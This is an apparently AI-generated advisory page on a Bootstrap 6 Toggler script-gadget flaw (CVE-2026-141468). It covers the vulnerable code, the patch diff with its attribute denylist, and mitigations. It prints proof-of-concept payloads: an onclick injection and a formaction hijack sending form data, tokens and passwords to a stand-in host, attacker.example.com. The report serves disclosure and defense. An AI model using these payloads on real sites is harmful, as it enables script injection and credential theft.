CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-141468

CVE-2026-141468: Client-Side Script Gadget and Form Hijacking in Bootstrap 6 Toggler Plugin

Alon Barad
Alon Barad
Software Engineer

Dec 2, 2026·11 min read·5 visits

Executive Summary (TL;DR)

The Bootstrap 6 Toggler plugin in 6.0.0-alpha.1 passes sanitizer-approved data-bs-attribute and data-bs-value attributes directly to element.setAttribute() upon a click event, enabling stored Cross-Site Scripting (XSS) via inline event handlers and form hijacking via formaction injection.

CVE-2026-141468 is a client-side script gadget vulnerability in the Bootstrap 6 pre-release Toggler plugin (versions >= 6.0.0-alpha.1, < 6.0.0-alpha.2). The plugin accepts untrusted attribute names via data-bs-attribute and values via data-bs-value, which standard HTML sanitizers such as DOMPurify preserve by default. Upon user click interaction, the Toggler._execute() method dynamically assigns these attributes using setAttribute() while only blocklisting the id attribute, allowing attackers to inject executable inline event handlers (CWE-79, CWE-83) or hijack form submission targets via the formaction attribute.

Vulnerability Overview

Bootstrap is a widely deployed front-end framework for developing web applications using declarative HTML, CSS, and JavaScript plugins. In the Bootstrap 6 development cycle (introduced in version 6.0.0-alpha.1), the framework added a new UI component named Toggler (js/src/toggler.ts). The Toggler plugin allows developers to dynamically toggle arbitrary HTML attributes or CSS classes on DOM elements using declarative HTML5 data-bs-* attributes without writing custom JavaScript event handlers.

CVE-2026-141468 (also tracked as GHSA-pj28-6c95-2682) is a client-side script gadget vulnerability within the Toggler component. The flaw occurs because the plugin reads user-controlled attribute names from data-bs-attribute and attribute values from data-bs-value, and passes them directly to the DOM Element.prototype.setAttribute() sink when a user clicks an element matching the selector [data-bs-toggle="toggler"].

Because industry-standard HTML sanitizers like DOMPurify permit arbitrary data-* attributes by default under the assumption that they are inert data containers, an attacker can inject crafted data-bs-* attributes that survive HTML sanitization. When a victim interacts with the sanitized element, the Toggler plugin converts the inert data-bs-attribute and data-bs-value properties into active DOM attributes, such as inline JavaScript event handlers (onclick, onmouseover) or form control attributes (formaction).

This vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and CWE-83 (Improper Neutralization of Script in Attributes in a Web Page). It affects Bootstrap versions >= 6.0.0-alpha.1 and < 6.0.0-alpha.2. Bootstrap 5.x releases (such as 5.3.8) are unaffected because the Toggler plugin does not exist in the version 5 branch.

Root Cause Analysis

The root cause of CVE-2026-141468 is insufficient input validation on the attribute name passed to a dynamic DOM mutation sink in js/src/toggler.ts. Modern web applications frequently allow users to submit rich HTML content (such as comments, profile descriptions, or forum posts) and rely on client-side or server-side HTML sanitizers like DOMPurify to strip executable JavaScript before rendering the markup in the DOM. In its default configuration, DOMPurify removes dangerous tags (<script>, <object>) and dangerous attributes (onload, onerror, formaction), while explicitly preserving data-* attributes.

Bootstrap's declarative data-API automatically binds event listeners across the entire document for elements bearing specific data-bs-toggle selectors. For the Toggler component, Bootstrap registers a global click listener at initialization:

eventActionOnPlugin(Toggler, EVENT_CLICK, SELECTOR_DATA_TOGGLE, 'toggle')

When a user clicks any element matching [data-bs-toggle="toggler"], Bootstrap instantiates or retrieves the Toggler instance associated with the target element and invokes the toggle() method, which in turn calls the internal _execute() method. The _execute() method extracts attribute (sourced from data-bs-attribute) and value (sourced from data-bs-value) from the component configuration object this._config.

In version 6.0.0-alpha.1, the _execute() method performed only a single negative check against the attribute string: it verified whether attribute === 'id' and returned early if true. All other attribute names—aside from class, which was routed to this._element.classList.toggle()—were passed directly to this._element.setAttribute(attribute, value as string).

Furthermore, a secondary design flaw in Bootstrap's event handling utility (js/src/util/component-functions.ts) expands the impact of this sink beyond inline script execution. The eventAction helper intercepts click events on plugin triggers as follows:

const eventAction = (onEvent, stringSelector, callback) => {
  const selector = `${stringSelector}:not(.disabled):not(:disabled)`
  EventHandler.on(document, onEvent, selector, function (event) {
    if (['A', 'AREA'].includes(this.tagName)) {
      event.preventDefault()
    }
    // executes plugin callback
  })
}

Because event.preventDefault() is only called when the clicked element is an <a> or <area> tag, clicking a <button type="submit"> triggers Toggler._execute() synchronously during the click event dispatch phase without cancelling the browser's default form submission behavior. If the Toggler plugin sets the formaction attribute on that submit button, the browser immediately submits the enclosing <form> to the newly assigned attacker-controlled URL.

Code Analysis

In the vulnerable version (6.0.0-alpha.1, corresponding to commit e93ba5e5267ac2f74d5d35f1c11bb476957de94b), js/src/toggler.ts implemented _execute() with minimal filtering on this._config.attribute:

// File: js/src/toggler.ts (Vulnerable implementation in 6.0.0-alpha.1)
protected _execute(): void {
  const { attribute, value } = this._config
 
  if (attribute === 'id') {
    return // You have to be kidding
  }
 
  // Nothing to toggle without a value (e.g. missing `data-bs-value`)
  if (value === null || value === undefined) {
    return
  }
 
  if (attribute === 'class') {
    this._element.classList.toggle(value as string)
    return
  }
 
  // Compare as strings since getAttribute() always returns a string
  if (this._element.getAttribute(attribute) === String(value)) {
    this._element.removeAttribute(attribute)
    return
  }
 
  // VULNERABLE SINK: Arbitrary attribute name and value written to DOM element
  this._element.setAttribute(attribute, value as string)
}

Notice that if the element does not already possess an attribute matching attribute with the exact string value String(value), execution reaches this._element.setAttribute(attribute, value as string). Because setAttribute normalizes attribute names and binds inline event handlers or navigation URIs immediately upon insertion into the DOM node, any attribute name other than id or class can be injected.

In commit 9598cdc049926a161de7401d4ac05e091e6ed80d (released in 6.0.0-alpha.2), the maintainers patched js/src/toggler.ts by introducing a regular expression test for event handlers and a Set containing disallowed dangerous attributes:

@@ -23,6 +23,26 @@ const EVENT_CLICK = 'click'
 
 const SELECTOR_DATA_TOGGLE = '[data-bs-toggle="toggler"]'
 
+// Attributes that run script or take a URL to load or navigate to. Toggler reads
+// its options from `data-bs-*` attributes, which HTML sanitizers keep, so toggling
+// one of these would turn sanitized markup into code (`onclick="…"`,
+// `formaction="javascript:…"`). `id` is refused too: it identifies the element.
+const EVENT_HANDLER_PATTERN = /^on/i
+const DISALLOWED_ATTRIBUTES = new Set([
+  'action',
+  'background',
+  'data',
+  'formaction',
+  'href',
+  'id',
+  'poster',
+  'src',
+  'srcdoc',
+  'srcset',
+  'style',
+  'xlink:href'
+])
+
 type TogglerConfig = {
   attribute: string
   value: string | number | boolean
@@ -79,8 +99,8 @@ class Toggler extends BaseComponent {
   protected _execute(): void {
     const { attribute, value } = this._config
 
-    if (attribute === 'id') {
-      return // You have to be kidding
+    if (EVENT_HANDLER_PATTERN.test(attribute) || DISALLOWED_ATTRIBUTES.has(attribute.toLowerCase())) {
+      return
     }
 
     // Nothing to toggle without a value (e.g. missing `data-bs-value`)

> [!NOTE] > Assessment of Patch Completeness: The official patch relies on a denylist strategy rather than an explicit allowlist. The regex /^on/i blocks all standard inline DOM event handlers (onclick, onload, onfocus, etc.), and DISALLOWED_ATTRIBUTES blocks primary URI, navigation, frame, and styling sinks (action, formaction, href, src, srcdoc, style, xlink:href). However, denylists in DOM attribute manipulation carry residual risk: attributes not included in the denylist—such as SVG animation attributes (attributeName, to, from, values), form behavioral attributes (form, formmethod, formenctype, formtarget), or input type manipulation (type)—remain toggleable. Security engineering best practices favor restricting dynamic attribute mutation to a strict allowlist (e.g., class, hidden, disabled, readonly, and aria-*).

Exploitation Methodology

Exploitation of CVE-2026-141468 requires an application that renders user-controlled HTML (typically after passing it through an HTML sanitizer like DOMPurify with default settings) on a page that loads the Bootstrap 6 JavaScript bundle containing the Toggler component. No authentication is required on the part of the attacker if the application permits public HTML submission, though user interaction (a click by the victim) is required to trigger the gadget.

Variant 1: Stored Cross-Site Scripting (XSS) via Inline Event Handler

In the primary attack scenario, the target application lacks a strict Content Security Policy (CSP) that forbids inline event execution. The attacker submits the following HTML markup:

<button type="button" 
        data-bs-toggle="toggler" 
        data-bs-attribute="onclick" 
        data-bs-value="window.pwned=true">
  Click to Toggle
</button>

When the application passes this payload through DOMPurify.sanitize(untrustedHtml), the output remains identical because <button> is a safe element and data-bs-* attributes are permitted by default. At initial render time, no onclick attribute exists on the element.

When a victim clicks the button, Bootstrap's delegated click handler catches the event on [data-bs-toggle="toggler"] and executes Toggler._execute(). The DOM element is mutated in place to:

<button type="button" 
        data-bs-toggle="toggler" 
        data-bs-attribute="onclick" 
        data-bs-value="window.pwned=true" 
        onclick="window.pwned=true">
  Click to Toggle
</button>

Upon the click dispatch or subsequent click interaction on the element, the browser invokes the onclick handler, executing the attacker's arbitrary JavaScript payload within the security context of the vulnerable application's origin.

Variant 2: CSP-Bypassing Form Action Hijacking

Even when an application deploys a strict Content Security Policy such as Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'none', which prevents inline onclick handlers from executing JavaScript, the Toggler gadget can still be exploited if the injection point resides inside an existing <form> element (or can associate with a form on the page).

The attacker injects a submit button targeting the formaction attribute:

<button id="evilSubmit" 
        type="submit" 
        data-bs-toggle="toggler" 
        data-bs-attribute="formaction" 
        data-bs-value="https://attacker.example.com/steal">
  Save profile
</button>

When the victim clicks this button inside a sensitive form (such as an account settings or password change form containing hidden anti-CSRF tokens and sensitive input fields), the click event bubbles to Bootstrap's document-level handler first. Toggler._execute() runs setAttribute("formaction", "https://attacker.example.com/steal") on the button.

Because eventAction in js/src/util/component-functions.ts only calls event.preventDefault() on A and AREA elements, the default submit behavior of the <button type="submit"> proceeds immediately after the click listener finishes. The browser reads the newly added formaction attribute on the clicked submit button—which overrides the parent <form action="..."> attribute per the HTML5 specification—and sends an HTTP POST request containing all form fields and CSRF tokens directly to https://attacker.example.com/steal.

Impact Assessment

Successful exploitation of CVE-2026-141468 enables two distinct post-exploitation outcomes depending on the target application's defensive posture. In environments without a CSP blocking 'unsafe-inline' scripts, the attacker achieves full client-side code execution (Stored or Reflected XSS) in the victim's browser session. This permits reading sensitive page data, exfiltrating non-HttpOnly cookies, accessing localStorage and sessionStorage bearer tokens, and performing arbitrary authenticated state-changing requests on behalf of the victim.

In environments protected by script-src 'self', the form hijacking vector (formaction mutation) allows single-click exfiltration of form contents without executing a single line of JavaScript. If user-supplied HTML is rendered inside an administrative or user settings form, the attacker can capture anti-CSRF tokens, plaintext passwords, personal identifiable information (PII), or API keys upon form submission.

The National Vulnerability Database (NVD) and the GitHub Security Advisory (GHSA-pj28-6c95-2682) assign this vulnerability a CVSS v3.1 base score of 6.1 (Medium) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. This reflects a network-accessible attack (AV:N) with low execution complexity (AC:L), requiring no privileges (PR:N) and single-click user interaction (UI:R), resulting in a changed security scope (S:C) with low confidentiality and integrity impact (C:L/I:L). The original disclosure also provided an alternative evaluation of 8.0 (High) (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N), weighting higher attack complexity (AC:H) for the specific prerequisite architecture alongside high confidentiality and integrity loss (C:H/I:H) when full session takeover or credential exfiltration is achieved.

From a threat intelligence perspective, CVE-2026-141468 is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog and has no documented association with ransomware campaigns. Its EPSS score is 0.00523 (0.52%, 45.87th percentile), indicating a low probability of mass automated exploitation in the wild, largely because the vulnerable code existed only in the 6.0.0-alpha.1 pre-release package prior to general production release.

Remediation and Mitigation

The primary remediation for CVE-2026-141468 is to upgrade the bootstrap dependency to version 6.0.0-alpha.2 or later, which incorporates commit 9598cdc049926a161de7401d4ac05e091e6ed80d to block on* event handler attributes and dangerous URI/navigation attributes in Toggler._execute(). Applications running Bootstrap 5.x (including 5.3.8) are not vulnerable and require no action for this CVE.

For environments that must temporarily remain on Bootstrap 6.0.0-alpha.1 or wish to implement defense-in-depth against script gadgets in HTML sanitizers, configure DOMPurify (or the equivalent server-side HTML sanitizer) to explicitly forbid Bootstrap's declarative Toggler attributes when sanitizing untrusted markup:

const cleanHtml = DOMPurify.sanitize(untrustedHtml, {
  FORBID_ATTR: [
    'data-bs-toggle',
    'data-bs-attribute',
    'data-bs-value',
    'data-bs-target'
  ]
});

Alternatively, if the application does not require any data-* attributes in user-contributed HTML, disable arbitrary data attributes entirely in DOMPurify:

const cleanHtml = DOMPurify.sanitize(untrustedHtml, {
  ALLOW_DATA_ATTR: false
});

To mitigate the impact of both exploit variants at the browser policy layer, deploy a restrictive Content Security Policy (CSP) that enforces both script-src (without 'unsafe-inline') and form-action directives:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'; form-action 'self';

> [!NOTE] > In CSP Level 2 and Level 3, the form-action directive does not fall back to default-src. You must explicitly declare form-action 'self' (or an allowlist of trusted form submission endpoints) to prevent the browser from submitting hijacked forms to external origins via injected formaction attributes.

Official Patches

Bootstrap (twbs)Official patch commit in js/src/toggler.ts
Bootstrap (twbs)Bootstrap v6.0.0-alpha.2 release containing the fix
GitHub Security AdvisoryOfficial vendor security advisory GHSA-pj28-6c95-2682

Fix Analysis (1)

Technical Appendix

CVSS Score
6.1/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS Probability
0.52%
Top 54% most exploited

Affected Systems

twbs/bootstrap (Bootstrap 6 pre-release 6.0.0-alpha.1)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Bootstrap
twbs
>= 6.0.0-alpha.1, < 6.0.0-alpha.26.0.0-alpha.2
AttributeDetail
CVE / Advisory IDCVE-2026-141468 / GHSA-pj28-6c95-2682
CWE ClassificationCWE-79 (Cross-site Scripting), CWE-83 (Script in Attributes)
CVSS v3.1 Score6.1 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
EPSS Score0.52% (45.87th Percentile)
Attack VectorNetwork / Client-Side Script Gadget via data-bs-* attributes
Affected ComponentBootstrap 6 Toggler Plugin (js/src/toggler.ts in 6.0.0-alpha.1)
Exploit StatusPublic Proof of Concept (PoC) Available
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. This weakness is chained with CWE-83 (Improper Neutralization of Script in Attributes in a Web Page).

Known Exploits & Detection

GitHub GistOriginal vulnerability disclosure and Proof of Concept demonstrating Stored XSS via onclick injection and CSP-bypassing form hijacking via formaction in Bootstrap 6.0.0-alpha.1.
GitHub Gist (Raw Report)Technical write-up and PoC steps for Toggler plugin setAttribute() sink exploitation.
GitHub Gist (Raw Addendum)Addendum detailing the one-click formaction hijacking attack vector under strict Content Security Policy.

Vulnerability Timeline

Bootstrap 6.0.0-alpha.1 released to npm under the next tag, introducing the Toggler plugin.
2026-10-08
Bootstrap commit e93ba5e5267ac2f74d5d35f1c11bb476957de94b established as the base vulnerable reference.
2026-11-01
Vulnerability discovered, documented, and reported by security researcher superboy-zjc.
2026-11-02
Fix commit 9598cdc049926a161de7401d4ac05e091e6ed80d merged into the twbs/bootstrap repository.
2026-11-23
GitHub Security Advisory GHSA-pj28-6c95-2682 and CVE-2026-141468 officially published.
2026-12-01
NVD and CVE records finalized with CVSS v3.1 scoring and CWE-79/CWE-83 mappings.
2026-12-02

References & Sources

  • [1]CVE.org Record: CVE-2026-141468
  • [2]National Vulnerability Database (NVD): CVE-2026-141468
  • [3]GitHub Security Advisory: GHSA-pj28-6c95-2682
  • [4]GitHub Patch Commit: 9598cdc049926a161de7401d4ac05e091e6ed80d
  • [5]Bootstrap v6.0.0-alpha.2 Release Notes
  • [6]Security Researcher Disclosure & PoC (superboy-zjc)
  • [7]Original Technical Vulnerability Report (Raw Markdown)
  • [8]Form Action Hijacking Addendum (Raw Markdown)
  • [9]MITRE ATT&CK T1189: Drive-by Compromise
  • [10]MITRE ATT&CK T1185: Browser Session Hijacking
  • [11]CISA Known Exploited Vulnerabilities Catalog

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•33 minutes ago•CVE-2026-142551
8.1

CVE-2026-142551: Cross-Client Authentication Bypass via Missing Audience Validation in Vapor JWTKit

Vapor JWTKit versions 4.0.0 prior to 5.8.0 fail to validate the audience (aud) claim in built-in vendor identity token payload types for Apple, Google, and Microsoft. This improper authentication flaw allows an attacker to obtain a legitimately signed ID token for a third-party client application and replay it against a relying party application using JWTKit, resulting in cross-client authentication bypass and account takeover.

Amit Schendel
Amit Schendel
1 views•11 min read
•about 2 hours ago•GHSA-QMJC-65WP-7V34
8.7

GHSA-QMJC-65WP-7V34: Software Supply-Chain Compromise and Remote Code Execution in PyPI Package magique

GHSA-QMJC-65WP-7V34 documents a software supply-chain compromise targeting the Python Package Index (PyPI) package magique. Threat actors utilized stolen maintainer credentials to publish unauthorized phantom releases (versions 0.6.8 and 0.6.9) directly to PyPI on June 8, 2026. These distributions contain a malicious .pth path configuration file that automatically triggers an embedded JavaScript payload via the Bun runtime upon Python interpreter startup, resulting in credential theft, process memory scraping, and worm-like self-propagation.

Alon Barad
Alon Barad
5 views•10 min read
•about 2 hours ago•CVE-2026-140231
7.1

CVE-2026-140231: Denial of Service via Unbounded Buffering and Zero-Size Entry Queuing in node-tar

CVE-2026-140231 is a memory exhaustion vulnerability in the node-tar package for Node.js prior to version 8.0.0. Because archive decompression lacks backpressure enforcement and zero-size archive entries queue in memory without upper bounds, an attacker who supplies a crafted compressed archive can force the host application to exhaust available resident memory and terminate via an Out-of-Memory (OOM) condition, bypassing existing decompression ratio checks.

Amit Schendel
Amit Schendel
6 views•11 min read
•about 3 hours ago•CVE-2026-140230
7.5

CVE-2026-140230: Quadratic Memory Amplification Denial of Service in node-tar PathReservations

CVE-2026-140230 (GHSA-xm6h-2993-3ch9) is an uncontrolled resource consumption vulnerability in the node-tar npm package (tar) prior to version 8.0.0. The flaw stems from asymmetric path depth validation during archive extraction: while entry.path is validated against a maximum segment depth (maxDepth = 1024), entry.linkpath is omitted from this check. When extracting a symbolic or hard link entry with a deeply nested linkpath defined via a GNU LongLink ('K') extended header, the PathReservations subsystem decomposes the path into every parent directory prefix, triggering quadratic O(N^2) string materialization in the V8 heap. A compressed archive as small as 181 bytes forces the Node.js runtime into an uncatchable fatal Out-Of-Memory (OOM) abort.

Alon Barad
Alon Barad
5 views•11 min read
•about 5 hours ago•CVE-2026-140251
7.1

CVE-2026-140251: Asynchronous Extraction Path-Reservation Deadlock in node-tar

A path-reservation deadlock vulnerability exists in node-tar versions 7.5.22 through 7.5.24 on POSIX platforms. When an archive contains a hardlink or symbolic link entry whose linkpath is an ancestor or descendant of its own path, the internal PathReservations scheduling queue enters an unsatisfiable state. This causes asynchronous extraction operations to stall indefinitely without resolving or rejecting the extraction Promise, resulting in a persistent denial of service.

Alon Barad
Alon Barad
5 views•11 min read
•about 6 hours ago•CVE-2026-140250
7.2

CVE-2026-140250: Symlink Containment Bypass and Path Traversal in node-tar

CVE-2026-140250 (GHSA-3wwj-8j6r-q339) is a high-severity symbolic link containment bypass and path traversal vulnerability in node-tar (npm package 'tar'), affecting versions 7.5.5 through 7.5.24. When extracting archives using default options, the Unpack class validates symbolic link targets using purely lexical path normalization. An attacker can supply a crafted archive containing chained symbolic links combined with directory traversal segments ('..') to create symbolic links that resolve outside the designated extraction directory. If the host application subsequently follows the created link, it can lead to arbitrary file disclosure or modification within the application's privilege context.

Amit Schendel
Amit Schendel
6 views•12 min read